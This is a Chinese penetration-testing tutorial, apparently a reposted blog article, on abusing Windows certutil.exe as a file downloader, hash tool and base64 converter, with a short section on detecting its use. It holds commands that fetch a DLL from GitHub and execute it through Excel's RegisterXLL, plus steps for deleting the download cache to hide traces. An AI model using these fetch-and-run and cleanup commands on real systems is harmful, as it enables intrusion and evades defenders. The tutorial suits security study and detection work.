滲透測試中的certutil

2021-12-24 嘶吼專業版

最近在Casey Smith‏ @subTee的twitter上學到了關於certutil的一些利用技巧。本文將結合自己的一些經驗,介紹certutil在滲透測試中的應用,對cmd下downloader的實現方法作補充,總結base64編碼轉換的常用方法。

學習地址:

https://twitter.com/subTee/status/888101536475344896

https://twitter.com/subTee/status/888071631528235010

0x01 簡介

本文將要介紹以下內容:

· certutil.exe在滲透測試中的應用

· downloader常用方法

· base64編碼轉換常用方法

0x02 certutil簡介

用於證書管理

支持xp-win10

更多操作說明見https://technet.microsoft.com/zh-cn/library/cc755341(v=ws.10).aspx

註:

在之前的文章《域滲透——EFS文件解密》有用過certutil.exe導入證書

0x03 滲透測試中的應用

1、downloader

(1) 保存在當前路徑,文件名稱同URL

eg:

certutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/version.txt

(2) 保存在當前路徑,指定保存文件名稱

eg:

certutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/version.txt file.txt

(3) 保存在緩存目錄,名稱隨機

緩存目錄位置: %USERPROFILE%AppDataLocalLowMicrosoftCryptnetUrlCacheContent

eg:

certutil.exe -urlcache -f https://raw.githubusercontent.com/3gstudent/test/master/version.txt

(4) 支持保存二進位文件

eg:

certutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/msg.dll

註:

使用downloader默認在緩存目錄位置: %USERPROFILE%AppDataLocalLowMicrosoftCryptnetUrlCacheContent保存下載的文件副本

清除下載文件副本方法:

方法1:直接刪除緩存目錄對應文件

如下圖

方法2:命令行:

certutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/msg.dll delete

補充:

查看緩存項目:

certutil.exe -urlcache *

如下圖

實際測試:

測試系統安裝Office軟體,下載執行dll對應的powershell代碼如下:

$path="c:testmsg1.dll"certutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/msg.dll $path$excel = [activator]::CreateInstance([type]::GetTypeFromProgID("Excel.Application"))$excel.RegisterXLL($path)

測試如下圖

2、計算文件hash

(1) SHA1

certutil.exe -hashfile msg.dll

(2) SHA256:

certutil.exe -hashfile msg.dll SHA256

(3) MD5:

certutil.exe -hashfile msg.dll MD5

3、base64編碼轉換

(1) base64編碼:

CertUtil -encode InFile OutFile

(2) base64解碼

CertUtil -decode InFile OutFile

註:

編碼後的文件會添加兩處標識信息:

文件頭:

BEGIN CERTIFICATE

文件尾:

END CERTIFICATE

如下圖

0x04 downloader常用方法

在之前的文章《滲透技巧——通過cmd上傳文件的N種方法》整理過常用的cmd下downloader方法,相比來說,利用certUtil簡便快捷,但是使用後需要注意清除緩存,路徑如下:

%USERPROFILE%AppDataLocalLowMicrosoftCryptnetUrlCacheContent

downloader常用方法如下:

· certUtil

· powershell

· csc

· vbs

· JScript

· hta

· bitsadmin

· wget

· debug

· ftp

· ftfp

0x05 base64編碼轉換常用方法

在編寫腳本操作二進位文件時,常常會因為不可見字符報錯,所以通常會選擇先對二進位文件作base64編碼再操作,最後通過解碼還原出二進位文件。

所以在此整理一下常用不同開發工具對應的base64編碼轉換方式

1、powershell

base64編碼:

$PEBytes = [System.IO.File]::ReadAllBytes("C:windowssystem32calc.exe")$Base64Payload = [System.Convert]::ToBase64String($PEBytes)Set-Content base64.txt -Value $Base64Payload

base64解碼:

$Base64Bytes = Get-Content ("base64.txt")$PEBytes= [System.Convert]::FromBase64String($Base64Bytes)[System.IO.File]::WriteAllBytes("calc.exe",$PEBytes)

2、C SHARP(c#)

base64編碼:

using System.IO;byte[] AsBytes = File.ReadAllBytes(@"C:windowssystem32calc.exe");String AsBase64String = Convert.ToBase64String(AsBytes);StreamWriter sw = new StreamWriter(@"C:testbase64.txt");sw.Write(AsBase64String);sw.Close();

base64解碼:

using System.IO;String AsString = File.ReadAllText(@"C:testbase64.txt");byte[] bytes = Convert.FromBase64String(AsString);          FileStream fs = new FileStream(@"C:testcalc.exe", FileMode.Create);fs.Write(bytes, 0, bytes.Length);fs.Flush();fs.Close();

註:

在之前的文章《滲透技巧——通過cmd上傳文件的N種方法》存在兩處bug

「 解密base64文件並生成exe的方法: 」

其中的powershell代碼和c#代碼存在bug,修正的代碼以本文為準

3、js

base64解碼:

fso1=new ActiveXObject("Scripting.FileSystemObject");f=fso1.OpenTextFile("C:testbase64.txt",1);base64string=f.ReadAll();f.Close();enc = new ActiveXObject("System.Text.ASCIIEncoding");length = enc.GetByteCount_2(base64string);ba = enc.GetBytes_4(base64string);transform = new ActiveXObject("System.Security.Cryptography.FromBase64Transform");ba = transform.TransformFinalBlock(ba, 0, length);s=new ActiveXObject("ADODB.Stream");s.Type=1;s.Open();s.Write(ba);    s.SaveToFile("C:testcalc.exe",2);

4、certutil

base64編碼:

CertUtil -encode InFile OutFile

base64解碼:

CertUtil -decode InFile OutFile

註:

編碼後的文件會添加兩處標識信息:

文件頭:

—–BEGIN CERTIFICATE—–

文件尾:

—–END CERTIFICATE—–

0x06 檢測downloader

查看利用certUtil下載文件的緩存記錄:

certutil.exe -urlcache *

緩存文件位置:

%USERPROFILE%AppDataLocalLowMicrosoftCryptnetUrlCacheContent

0x07 小結

本文介紹了certutil在滲透測試中的應用,詳細介紹利用certutil作downloader的實現方法和檢測方法,最後總結了base64編碼轉換的常用方法。

相關焦點

  • 滲透測試中的Node.js——Downloader的實現
    我最近在一篇文章中學到了利用Node.js繞過主動防禦的技巧,於是對Node.js的語法進行了學習,開源一個Downloader的實現代碼,分享腳本開發中需要注意的細節。Node.js繞過主動防禦的學習地址:https://bbs.pediy.com/thread-249573.htm
  • 入門滲透測試學習經驗分享
    這篇文章面向入門滲透測試的同學,更偏向於學習的方法,而非滲透的技巧,請看準需求再往下讀。我是SINESAFE網站安全公司的技術,水平有限,所以自然親民,和很多滲透測試新手都很熟。他們中的大多數都是大學生,還有很多年的工作,但一直對網絡安全保持著熱情。
  • Windows命令行下常用滲透技巧
    請勿利用文章內的相關技術從事非法測試,如因此產生的一切不良後果與文章作者和本公眾號無關。0x01 前言滲透測試中無論是打點,還是後滲透,多多少少都會用到命令行下的一些技巧以達到快速拿到目標主機權限和繞過一些安全防護功能等。
  • 滲透測試之地基內網篇:域森林中實戰攻防
    簡介滲透測試-地基篇
  • 第一次滲透測試的分享和小結
    ,但是因為一些現實因素等等問題,沒(bu)有(gan)真正實操,最近由於一次偶然的機會,什麼都不會的我接到了一個滲透測試項目然後就把最近學到的一些東西,和一些小感悟,小技巧記錄下來,由於一些特殊原因,本文中不涉及到滲透過程中的任何敏感信息二、第一次進行滲透如何優雅的"裝"成是個"老手"首先跟我一樣菜當然是裝不出大神的,當然還是多學,多積累
  • web滲透測試對信息收集的方法介紹
    什麼是web滲透測試?一般是指通過模擬黑客的攻擊手法,對計算機網絡系統進行安全評估測試,如果發現系統中存在漏洞,向被測試系統的所有者提交滲透報告,並提出補救措施。這一章將通過滲透測試Web應用和伺服器,向大家介紹滲透測試的方法和技巧。
  • 網站滲透測試報告速寫模板指南
    網站滲透測試服務在給客戶寫報告模板或者檢查表的時候,應逐步完善。寫報告在滲透測試中耗費大量的時間和精力。花費的時間取決於客戶和經理期望的交付成果。(中文大概意思是客戶和老闆能不能看懂你的報告)獎勵項目報告通常比滲透測試報告短,但是無論什麼格式,您都將受益於為每個文檔和測試類型創建模板(黑盒、白盒、Web、網絡、wifi)。理想情況下,您的滲透測試模板應包括:通常測試的測試列表。有時候客戶會問這個,提前做好準備。
  • 滲透測試工具小抄
    介紹滲透測試工具作弊表,典型穿透測試工作的快速參考高級概述。設計為快速參考作弊表,提供執行滲透測試時將運行的典型命令的高級概述。
  • 如何入門網站安全滲透測試
    從大學畢業的時候開始簡單入門,寫寫網站程序代碼,搞搞sql注入以及安全測試,到現在Sinesafe當安全工程師,差不多在安全行業成長了11年,發現不懂得問題隨著實戰滲透測試中非常多,還是學到老乾到老才是成功之道。
  • 滲透測試學習書籍推薦
    該書雖比《Web安全攻防:滲透測試實戰指南》少了56頁,但是就Web滲透的內容來說會更加深入、細緻,適合有一定計算機基礎的人閱讀學習。你看完全書,並不會發現自己的滲透技術會提高很多,好像書中沒啥子營養,但感覺又很有味道,具體是啥又講不出。        為了得到答案,我們看下該書作者的背景吧。該書作者是吳翰清,道上稱其道哥,早年叫「刺」,也被人敬稱為「刺總」,是阿里巴巴雲計算有限公司的安全專家。他自2005年起就任職於阿里巴巴,到2014年該書出版,他將近工作20年,包括工作前的實戰經驗,超過20年。
  • Web安全滲透測試基礎入門篇+信息收集篇樹立滲透測試思路視頻講座高清完整資源
    Web安全滲透測試基礎入門篇+信息收集篇樹立滲透測試思路視頻講座高清完整,好課低價分享(有需要的找我)如果需要Web安全滲透測試基礎入門篇
  • 滲透測試專業人員使用的11種工具
    滲透測試是模擬一種網絡攻擊,在真正的黑客入侵之前,模擬黑客入侵企業網絡來發現薄弱之處。就像電影《Sneakers》一樣,黑客顧問闖入公司網絡以發現網絡的弱點。其中,滲透測試人員或白帽都使用了黑客可用的工具和技術。回到過去的舊時代,黑客入侵是一件非常困難的事,並且需要大量的手動操作。
  • 滲透測試團隊技術評級那些事兒
    我們在設計這套技術定級體系的時候倒的確查閱了很多招聘信息,也發現有些滲透測試崗位的招聘信息算是千篇一律的內容,不管是初級安全工程師還是高級滲透工程師好像都是那麼幾條,而我們這篇文章的內容有些的確比較適合用來設計不同級別的滲透測試崗位招聘信息的。
  • 滲透測試常規操作記錄(下)
    網段中有認證行為會捕獲NTLMv2 hash-urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/msg.dllcertutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/msg.dll deletecertutil.exe -
  • 2021暗月滲透測試全棧學習班
    mysql資料庫數據的增刪改查資料庫04-mysql資料庫數據的查詢語句資料庫05-mysql資料庫子查詢資料庫06-mysql的內連結 左連接 右連接資料庫07-IFORMATION_SCHEMA詳解和SQL注入語句分析第四天 基礎知識6課01物理機的環境搭建02網站基礎知識03詳解HTTP協議04埠協議05網站搭建vps購買 域名 解析 伺服器配置06搭建 https網站07安裝kali和配置08滲透測試中的常用編碼第五天
  • 滲透測試 對文件上傳安全檢測與webshell分析
    前段時間我們SINE安全收到客戶的滲透測試服務委託,在這之前,客戶網站受到攻擊,數據被篡改,要求我們對網站進行全面的滲透測試,包括漏洞的檢測與測試,邏輯漏洞.垂直水平越權漏洞,文件上傳漏洞.等等服務項目,在進行安全測試之前,我們對客戶的網站大體的了解了一下,整個平臺網站,包括APP,安卓端,IOS端都採用的JSP+oracle資料庫架構開發,前端使用VUE,伺服器是linux
  • 2020暗月滲透測試全棧學習班
    mysql資料庫數據的增刪改查資料庫04-mysql資料庫數據的查詢語句資料庫05-mysql資料庫子查詢資料庫06-mysql的內連結 左連接 右連接資料庫07-IFORMATION_SCHEMA詳解和SQL注入語句分析第四天 基礎知識6課01物理機的環境搭建02網站基礎知識03詳解HTTP協議04埠協議05網站搭建vps購買 域名 解析 伺服器配置06搭建 https網站07安裝kali和配置08滲透測試中的常用編碼第五天
  • 紙尿褲防水透氣膜對水蒸氣滲透性能測試方法
    摘要:防水透氣膜的水蒸氣滲透性能是影響紙尿褲舒適性的重要因素。本文利用杯式法原理測試了紙尿褲用防水透氣膜樣品的水蒸氣透過率,並介紹了試驗原理,相關設備測試參數、適用範圍及試驗過程等內容,為相關防水透氣膜類材料透溼性能的測試提供參考。
  • 如何寫一遍完整的滲透測試報告 模板教學篇
    說白了,就是說在網站滲透測試的最後一個步驟裡,對代碼的漏洞要統計、檢測結果顯示並現場演示一些早已辨別、認證和運用了的安全漏洞。被測公司的管理和技術精英團隊會檢驗滲透時採取的方式,並會根據這些文檔中的結果顯示,來修補所存有的網站漏洞。因此從社會道德視角來講,安全檢測結果顯示的工作目標非常至關重要。
  • Windows滲透測試工具CommandoVM安裝使用教程
    2019年3月28日,火眼發布了一個包含超過140個開源Windows滲透工具包含140個滲透工具,紅隊滲透測試員和藍隊防禦人員均擁有了頂級偵察與漏洞利用程序集。該工具集名為「CommandoVM」.火眼旗下麥迪安網絡安全公司顧問以及Commando VM套件的聯合創建者 Jake Barteaux 表示:在進行內部滲透測試時,我身邊的大部分滲透測試工程師都會先自行配置一個Windows測試環境。能不能把這個環境配置好,配得有多快,已然成為了衡量滲透測試工程師手藝高低的標準了。